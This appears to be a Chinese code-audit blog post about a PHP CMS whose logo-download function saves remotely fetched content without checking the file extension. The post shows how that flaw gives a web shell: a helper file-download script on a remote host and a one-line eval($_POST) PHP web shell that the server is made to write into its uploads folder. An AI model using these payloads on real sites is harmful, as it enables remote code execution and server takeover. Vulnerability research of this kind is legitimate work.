zoukankan      html  css  js  c++  java
  • 代码审计1

    审计到比较有趣的一个点。

    1.后台getshell

    class Flink{
    
    function downlogo($logourl){
    
    $url = parse_url($logourl);
    
    $logoname = str_replace(".","_",$url['host']).".".array_pop(explode(".",basename($logourl)));
    
    $path = PROJECT_PATH."public/uploads/logos/";
    
    if(!file_exists($path)){
    
    mkdir($path);
    
    }
    
    $location = $path.$logoname;
    
    $data = file_get_contents($logourl);
    
    if(strlen($data) > 0){
    
    file_put_contents($location,$data);
    
    return $logoname;
    
    }else{
    
    return false;

    首先对扩展名没有过滤,然后file_get_contents读取了网页内容,于是我们构造php。代码如下

    当时我想到的是下载,我是构造了一个下载成功。

    比如我们远程构造任意文件下载,也可读取到文件的内容。

    例如。test3.php

    <?php
    
    $filename=$_GET['file'];
    
    header("Content-Type: application/force-download");
    
    header("Content-Disposition: attachment; filename=".basename($filename));
    
    readfile($filename);
    
    ?>
    
     

    test.php

    <?php eval($_POST['a']);?>

    http://127.0.0.1/test/test3.php?file=test.php即可

    同样可以构造打印输出,file_get_contents同样可以获取内容

    echo '<?php @eval($_POST['a']);?>';

    即可在目录下生成一句话。

  • 相关阅读:
    Electio Time poj
    排列的字典序问题
    poj 2365
    编程中的命名设计那点事(转)
    编程命名中的7+1个提示(转)
    poj 1664 放苹果——递归
    再论字典序
    poj 3618
    sort用法
    poj 1088
  • 原文地址:https://www.cnblogs.com/whoami101/p/5136798.html
Copyright © 2011-2022 走看看